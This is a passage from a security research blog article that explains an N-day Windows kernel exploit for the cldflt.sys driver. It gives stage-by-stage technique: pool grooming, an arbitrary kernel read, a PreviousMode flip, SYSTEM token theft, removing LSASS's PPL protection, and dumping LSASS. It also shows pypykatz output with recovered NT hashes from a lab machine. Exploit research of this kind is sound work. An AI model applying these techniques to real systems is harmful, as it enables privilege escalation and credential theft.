[*] Skipping WNF deletions (pool corruption safety)
[*] Closing 2048 ALPC ports...
[+] ALPC ports closed
[*] Closing target pipe (index 0)...
[+] Target pipe closed
[+] Cleanup complete
PS C:\Users\aborges\Desktop\RESEARCH>

PS C:\Users\aborges\Desktop\RESEARCH> cd C:\Users\aborges\AppData\Local\Temp
```

```
PS C:\Users\aborges\AppData\Local\Temp>
PS C:\Users\aborges\AppData\Local\Temp> pypykatz lsa minidump .\lsass_dump.dmp
INFO:pypykatz:Parsing file .\lsass_dump.dmp
FILE: ======== .\lsass_dump.dmp =======
== LogonSession ==
authentication_id 4235887 (40a26f)
session_id 1
username Administrator
domainname DESKTOP-31FH7LH
logon_server DESKTOP-31FH7LH
logon_time 2026-04-25T04:14:23.237021+00:00
sid S-1-5-21-3775539418-3018602130-1457142478-500
luid 4235887
        == MSV ==
                Username: Administrator
                Domain: DESKTOP-31FH7LH
                LM: NA
                NT: 9d9f25b783d6b5039d4997ffd2000bd1
                SHA1: ec1fc466168b93dc158b45baacafb2e3cd6ced3b
                DPAPI: ec1fc466168b93dc158b45baacafb2e3cd6ced3b
        == Kerberos ==
                Username: Administrator
                Domain: DESKTOP-31FH7LH

== LogonSession ==
authentication_id 912270 (deb8e)
session_id 3
username DWM-3
domainname Window Manager
logon_server
logon_time 2026-04-25T03:04:05.840850+00:00
sid S-1-5-90-0-3
luid 912270

== LogonSession ==
authentication_id 912103 (deae7)
session_id 3
username DWM-3
domainname Window Manager
logon_server
logon_time 2026-04-25T03:04:05.834850+00:00
sid S-1-5-90-0-3
luid 912103

== LogonSession ==
authentication_id 909769 (de1c9)
session_id 3
username UMFD-3
domainname Font Driver Host
logon_server
logon_time 2026-04-25T03:04:05.772849+00:00
sid S-1-5-96-0-3
luid 909769

== LogonSession ==
authentication_id 304186 (4a43a)
session_id 1
username aborges
domainname DESKTOP-31FH7LH
logon_server DESKTOP-31FH7LH
```

```
logon_time 2026-04-25T03:03:40.587207+00:00
sid S-1-5-21-3775539418-3018602130-1457142478-1002
luid 304186
        == MSV ==
                Username: aborges
                Domain: .
                LM: NA
                NT: 9d9f25b783d6b5039d4997ffd2000bd1
                SHA1: ec1fc466168b93dc158b45baacafb2e3cd6ced3b
                DPAPI: ec1fc466168b93dc158b45baacafb2e3cd6ced3b
        == Kerberos ==
                Username: aborges
                Domain: DESKTOP-31FH7LH

== LogonSession ==
authentication_id 997 (3e5)
session_id 0
username LOCAL SERVICE
domainname NT AUTHORITY
logon_server
logon_time 2026-04-25T03:03:30.473193+00:00
sid S-1-5-19
luid 997
        == Kerberos ==
                Username:
                Domain:

== LogonSession ==
authentication_id 49844 (c2b4)
session_id 1
username DWM-1
domainname Window Manager
logon_server
logon_time 2026-04-25T03:03:30.007186+00:00
sid S-1-5-90-0-1
luid 49844

== LogonSession ==
authentication_id 49779 (c273)
session_id 1
username DWM-1
domainname Window Manager
logon_server
logon_time 2026-04-25T03:03:30.005190+00:00
sid S-1-5-90-0-1
luid 49779

== LogonSession ==
authentication_id 996 (3e4)
session_id 0
username DESKTOP-31FH7LH$
domainname WORKGROUP
logon_server
logon_time 2026-04-25T03:03:29.787186+00:00
sid S-1-5-20
luid 996
        == Kerberos ==
                Username: desktop-31fh7lh$
                Domain: WORKGROUP
```

```
== LogonSession ==
authentication_id 29430 (72f6)
session_id 0
username UMFD-0
domainname Font Driver Host
logon_server
logon_time 2026-04-25T03:03:29.609190+00:00
sid S-1-5-96-0-0
luid 29430

== LogonSession ==
authentication_id 29362 (72b2)
session_id 1
username UMFD-1
domainname Font Driver Host
logon_server
logon_time 2026-04-25T03:03:29.605189+00:00
sid S-1-5-96-0-1
luid 29362

== LogonSession ==
authentication_id 27928 (6d18)
session_id 0
username
domainname
logon_server
logon_time 2026-04-25T03:03:29.415189+00:00
sid None
luid 27928

== LogonSession ==
authentication_id 999 (3e7)
session_id 0
username DESKTOP-31FH7LH$
domainname WORKGROUP
logon_server
logon_time 2026-04-25T03:03:29.381207+00:00
sid S-1-5-18
luid 999
        == Kerberos ==
                Username: desktop-31fh7lh$
                Domain: WORKGROUP

PS C:\Users\aborges\AppData\Local\Temp>
```

The result was as expected because we retrieved important hashes from memory. No further comments

06.04. Exploit commented

This exploit version, as expected, has similarity to previous ones, and Stages 1 to 10 are essentially the same, which I will not comment on them in details again. In a very summarized way:

- Stage 1 creates and destroys pipe pairs to defragment the pool for defragmentation.
- Stage 2 registers 0x5000 padding and 0x800 exploit WNF names.

- Stage 3 creates 0x800 ALPC ports.
- Stage 4 fills padding WNFs with 0xFF0 bytes.
- Stage 5 fills exploit WNFs and tracks active ones.
- Stage 6 deletes even-indexed WNFs (CreateHoles phase).
- Stage 7 creates a reparse point with the overflow payload (remember that ChangeStamp field equal to 0xC0DE is my choice).
- Stage 8 the file to trigger the cldflt.sys overflow.
- Stage 9 creates 257 reserves per port.
- Stage 10 reads the corrupted WNF to extract the KALPC_RESERVE address at offset 0xFF0 (remember reasons from previous articles).

At the same way, there is no new on Stages 11 through 20, and they are also identical to the previous editions because they establish the arbitrary kernel read primitive by corrupting pipe attribute linked list pointers through a second cldflt.sys overflow (technique used previously) and then the exploit reads through the corrupted list to walk kernel data structures. Once again, I am describing in a summary way these stages here.

- Stage 11 creates 0x600 pipe pairs.
- Stage 12 sets 0x200-byte pipe.
- Stage 13 repeats the WNF spray for the second wave.
- Stage 14 creates holes in the second-wave pool.
- Stage 15 sets up the second reparse point (once again, a personal choice of using ChangeStamp equal to 0xDEAD).
- Stage 16 triggers the second overflow.
- Stage 17 expands pipe attributes to 0xFD0 bytes.
- Stage 18 leaks a kernel pipe attribute address.
- Stage 19 constructs fake pipe attribute structures and corrupts the kernel Flink.
- Stage 20 reads _KALPC_RESERVE structure fields to extract the ALPC_PORT, handle table, and message addresses.

Actions change slightly in Stage 21, which extends the PreviousMode exploit version and introduces two meaningful additions that are LSASS detection during the _EPROCESS structure walk and also a _PS_PROTECTION structure read task to verify that PPL is active. Actually, the DiscoverProcesses routine begins identically to the PreviousMode edition by reading 0x200 bytes from g_alpc_port_addr variable to find the owning _EPROCESS via ALPC_PORT.OwnerProcess field, as usual, and then it walks the ActiveProcessLinks doubly-linked list, reading a 0x180-byte chunk at _EPROCESS.UniqueProcessId field for each process. This read chunk is composed by _EPROCESS.UniqueProcessId, _EPROCESS.ActiveProcessLinks.Flink, _EPROCESS.Token, and _EPROCESS.ImageFileName fields. Of course, we should not forget that the Token value is masked with ~0xF to strip the _EX_FAST_REF reference count bits, as explained in previous article. For each process, the function performs identification, where finding PID 4 provides necessary information that can be stored into g_system_eprocess, g_system_token, and g_system_token_raw. Addition, finding the own exploit's PID yields information that can be stored into g_our_eprocess and g_our_token . As supplement, the ImageFileName containing "winlogon.exe" (case-insensitive via _stricmp) yields g_winlogon_pid. In this new exploit version, ImageFileName "lsass.exe" yields information that is saved into g_lsass_eprocess and g_lsass_pid.

Following the expected line, the _PS_PROTECTION structure read is the second major addition, where the routine reads 0x20 bytes at an aligned kernel address a short distance before _EPROCESS.Protection via ReadKernelBuffer routine. The reason for using a routine read (0x20 bytes at a nearby aligned address) rather than a single-byte read at _EPROCESS.Protection is a hard-won lesson (at least for me) when I learned that single-byte reads through the pipe attribute read primitive return incorrect data due to alignment or buffering issues in the FSCTL_PIPE_GET_PIPE_ATTRIBUTE implementation. As result, I have realized that bulk reads of 0x20 or more bytes at aligned addresses consistently return correct data.

Stage 22 is completely unchanged from the PreviousMode exploit version that was presented in first part of this article. The ALPC write-primitive flips PreviousMode field from 0x01 (UserMode) to 0x00 (KernelMode) at _KTHREAD.PreviousMode field.

Finally, it is time to describe Stage 23, which is the core of this exploit version because it adds a PPL strip write and also replaces the shell spawn with an LSASS memory dump. The stage is organized multiple short steps and phases, which aims to produce the final credential dump file. In terms of details, the pre-phase locates the corrupted pipe attribute for cleanup. Afterwards, Phase 1 is the PreviousMode=0 window and, exactly as in the previous exploit version, only pure ntdll syscalls are safe during this window, which consequently does not allow calls like printf and Win32 APIs. The description for each step follows:

- Step A opens the System process with NtOpenProcess function using PROCESS_ALL_ACCESS and PID 4, where access checks are circumvented (or better, avoided) because PreviousMode=0.
- Step B opens the System process's token with NtOpenProcessTokenEx function using TOKEN_ALL_ACCESS. Step C duplicates the token as an impersonation token via NtDuplicateToken function with SecurityImpersonation level.
- Step D impersonates SYSTEM on the current thread via NtSetInformationThread function with ThreadImpersonationToken.
- Step E performs the token steal, where NtWriteVirtualMemory function writes 8 bytes (given by g_system_token_raw, the full EX_FAST_REF value including reference count bits) to our _EPROCESS.Token field. With PreviousMode=0, ProbeForWrite function is skipped, and the write goes directly to kernel memory, and after this write operation, the exploit process's token is the SYSTEM token, which grants SeDebugPrivilege and all other SYSTEM privileges.
- Step F performs the PPL strip, which is an exclusive task of this edition. In this case, NtWriteVirtualMemory function writes a single byte (0x00) to LSASS's _EPROCESS.Protection field and thus it preserves the adjacent _PS_PROTECTION-region bytes that follow _EPROCESS.Protection. As I already told about my preference for this approach, such precision is possible because NtWriteVirtualMemory function with PreviousMode=0 has no minimum size constraint, unlike the ALPC write which requires 16 bytes (at least in my tests). After this write operation, LSASS's _PS_PROTECTION.Type field is 0 (PsProtectedTypeNone) and _PS_PROTECTION.Signer is 0 (PsProtectedSignerNone), and the kernel will no longer block handle opens to LSASS. In other words, the exploit has removed the protection.
- Step G restores the corrupted pipe attribute Flink as it has been done in the PreviousMode edition by calling NtWriteVirtualMemory function, which writes 8 bytes (given by address g_leaked_pipe_attr variable) to corrupted_pipe_flink_addr and reconnects the doubly-linked list, and it avoid unnecessary crashes. After this write, the pipe read primitive is permanently invalidated.

Phase 2 restores PreviousMode by call NtWriteVirtualMemory function, which writes a single byte (0x01) to _KTHREAD.PreviousMode, which finally restores UserMode and makes Win32 APIs calls safe to call again.

Phase 3 performs post-restore verification, which is also derived from the PreviousMode Edition, but with one important curiosity because the function attempts to verify PreviousMode field's value was restored by reading _KTHREAD.PreviousMode field via ReadKernelBuffer routine. This read operation is structurally broken in this exploit version because, in Step G in Phase 1, it has already invalidated the pipe attribute read primitive that ReadKernelBuffer routine depends on, so the call returns its zero-initialized buffer, and the verification prints the false alarm "[!] CRITICAL: PreviousMode NOT restored!" even on successful restore. The reliable indicator is the NtWriteVirtualMemory function return status from Phase 2 (currently captured but not printed). Honestly, in a future revision of this exploit, I should either reorder Phase 2 to run before Step G or replace the read-back with a write-status check, but right now it does not make any difference because it is really working and it would be excessive perfectionism.

Finally, Phase 4 performs the LSASS dump, which is the unique payload and real result of this exploit, where the function opens LSASS with OpenProcess. This call succeeds because both prerequisites are now satisfied, which are SeDebugPrivilege and also no PPL protection (is has been removed). The dump file is created at %TEMP%\lsass_dump.dmp, which concludes the exploit.

07. References

For readers who may be interested in obtaining details on the topics mentioned here, a brief list of valuable resources follows below:

- **Microsoft Learn:** https://learn.microsoft.com/en-us/windows-hardware/drivers/
- **Windows Internals 7th edition book (Parts 1 and 2)** by Pavel Yosifovich , Alex Ionescu, Mark Russinovich, David Solomon, and Andrea Allievi.
- **I/O Rings - When One I/O Operation is Not Enough (by Yarden Shafir):** https://windows-internals.com/i-o-rings-when-one-i-o-operation-is-not-enough/
- **One Year to I/O Ring - What Changed (by Yarden Shafir):** https://windows-internals.com/one-year-to-i-o-ring-what-changed/
- **One I/O Ring to Rule Them All (by Yarden Shafir):** https://windows-internals.com/one-i-o-ring-to-rule-them-all/
- **IoRing vs io_uring (by Yarden Shafir):** https://windows-internals.com/ioring-vs-io_uring/
- **IoRingReadWritePrimitive (GitHub) (by Yarden Shafir):** https://github.com/yardenshafir/IoRingReadWritePrimitive
- **Scoop the Windows 10 pool! (by Corentin Bayet and Paul Fariello):** https://www.sstic.org/media/SSTIC2020/SSTIC-actes/pool_overflow_exploitation_since_windows_10_19h1/SSTIC2020-Article-pool_overflow_exploitation_since_windows_10_19h1-bayet_fariello.pdf
- **The Next Generation of Windows Exploitation: Attacking the Common Log File System (ShiJie Xu/@ThunderJ17, Jianyang Song/@SecBoxer and Linshuang Li):** https://i.blackhat.com/Asia-

22/Friday-Materials/AS-22-Xu-The-Next-Generation-of-Windows-Exploitation-Attacking-the-Common-Log-File-System.pdf

- **Playing with the Windows Notification Facility (WNF) (by Gabrielle Viala):** https://blog.quarkslab.com/playing-with-the-windows-notification-facility-wnf.html
- **CVE-2021-31956 Exploiting the Windows Kernel (NTFS with WNF) – Part 1 (by Alex Plaskett):** https://www.nccgroup.com/research-blog/cve-2021-31956-exploiting-the-windows-kernel-ntfs-with-wnf-part-1/
- **Exploiting Reversing (ER) series: article 06 | A Deep Dive Into Exploiting a Minifilter Driver (N-day) (by Alexandre Borges):** https://exploitreversing.com/2026/02/11/exploiting-reversing-er-series-article-06/
- **Exploiting Reversing (ER) series: article 07 | Exploitation Techniques: CVE-2024-30085 (part 01) (by Alexandre Borges):** https://exploitreversing.com/2026/03/04/exploiting-reversing-er-series-article-07/
- **Exploiting Reversing (ER) series: article 08 | Exploitation Techniques: CVE-2024-30085 (part 02) (by Alexandre Borges):** https://exploitreversing.com/2026/03/31/exploiting-reversing-er-series-article-08/

08. Conclusion

Finally, this article concludes the previously initiated in-depth analysis of the development process of different N-day exploits for a real mini-filter driver (cldflt.sys), which has been presented over ERS_06, ERS_07, ERS_08 and now ERS_09 (this one). Both exploits presented in this article offer additional approaches, expanding the previous knowledge acquired in previous articles, including a slightly different objective in the last exploit. Over these four articles (and a long journey) my expectancy is that you have improved your knowledge in Windows exploitation and hopefully helped to give your own steps in this area.

I continue rearching on my areas of interest, which are iOS and Chrome, and eventually I will return to devise and draft new articles on these areas, which will continue ERS_03 and ERS_04 articles, respectively.

Just in case you want to stay connected:

- **X: @ale_sp_brazil**
- **Bluesky: @alexandreborges.bsky.social**
- **Mastodon:** https://infosec.exchange/@alexandreborges
- **Blog:** https://exploitreversing.com

Keep developing exploits and I see you at next time!

Alexandre Borges